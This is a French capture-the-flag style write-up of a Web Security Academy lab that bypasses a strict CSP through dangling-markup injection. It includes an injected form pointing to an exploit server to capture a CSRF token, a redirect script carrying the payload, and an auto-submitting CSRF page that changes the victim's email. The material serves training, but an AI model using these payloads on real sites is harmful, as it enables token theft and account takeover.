XSS réfléchi protégé par une CSP très stricte — attaque par balisage suspendu

Reflected XSS protected by very strict CSP, with dangling markup attack

Lab: Reflected XSS protected by very strict CSP, with dangling markup attack | Web Security AcademyWebSecAcademy

Objectif du labo

Réaliser une attaque XSS qui contourne la CSP et exfiltre le jeton CSRF d’un utilisateur simulé (via Burp Collaborator).
Utiliser ensuite ce jeton pour changer l’adresse e-mail de la victime en [email protected].
Le vecteur visible pour la victime doit contenir le mot Click (par ex. Click me) pour l’inciter à cliquer.
Compte de test : wiener:peter.

Observations initiales

Dans le formulaire de mise à jour de l’e-mail, en ajoutant ?email= dans l’URL on contrôle la valeur (value) de l’input email.

Le champ est vulnérable à une injection de balises HTML (exemples d’essais) :

test"><h1>test</h1> → le <h1> est injecté et rendu.

test"><h1>test</h1>

test"><script>alert(0)</script> → le <script> apparaît dans le formulaire mais n’est pas exécuté.

test"><script>alert(0)</script>

La console navigateur indique un blocage lié à la politique de sécurité :

Content-Security-Policy: The page’s settings blocked an inline script (script-src-elem) from being executed because it violates the following directive: “script-src 'self'”

En-tête CSP observé :

content-security-policy default-src 'self';object-src 'none'; style-src 'self'; script-src 'self'; img-src 'self'; base-uri 'none';

Stratégie d’attaque (dangling markup)

Plutôt que d’injecter un <script> (bloqué par la CSP), on ferme le formulaire courant et on crée un nouveau formulaire dont l’attribut action pointe vers notre serveur d’exploit (exploit server). Ce formulaire contient un bouton intitulé « Click me » pour inciter l’utilisateur à cliquer.

Exemple d’injection qui ferme le formulaire et en crée un nouveau (format URL-encodé dans la redirection) :

test"></form><form class="login-form" name"change-email-form" action="https://exploit-0a0b002e04ca637f81f4ed8a01da00c2.exploit-server.net/exploit" method="GET"><button class="button" type="submit">Click me</button

En ouvrant ce lien depuis la machine de la victime (par exemple via une redirection), si la victime clique sur le bouton, le CSRF token est envoyé dans l’URL vers le serveur d’exploit et apparaît dans les logs du serveur adverse.

Exemple de redirection injectée (pour forcer l’utilisateur vers la page vulnérable avec la charge utile)

Script injecté côté attaquant pour rediriger la victime vers la page contenant la charge utile (URL encodée) :

<script>
location="https://0a4100a704a163818169ee1c00f10037.web-security-academy.net/my-account?email=test%22%3E%3C/form%3E%3Cform%20class=%22login-form%22%20name%22change-email-form%22%20action=%22https://exploit-0a0b002e04ca637f81f4ed8a01da00c2.exploit-server.net/exploit%22%20method=%22GET%22%3E%3Cbutton%20class=%22button%22%20type=%22submit%22%3EClick%20me%3C/button"
</script>

Une fois la victime redirigée et le bouton cliqué, le token CSRF se retrouve dans les logs du serveur d’exploit.

Exploitation post-exfiltration : utilisation du CSRF token pour changer l’e-mail

Après avoir obtenu le token CSRF (depuis les logs du serveur d’exploit), on construit une page HTML qui soumet un POST vers /my-account/change-email avec:
- email = [email protected]
- csrf = <token_obtenu>

Exemple de PoC HTML généré (par Burp ou manuellement) pour effectuer la requête POST automatisée

<html>
  <body>
    <form action="https://0a4100a704a163818169ee1c00f10037.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="[email protected]" />
      <input type="hidden" name="csrf" value="L0joiDIMrKKrO7jkqiC6sLYR5MNEbUfu" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Mis à jour il y a 1 mois

Ce contenu vous a-t-il été utile ?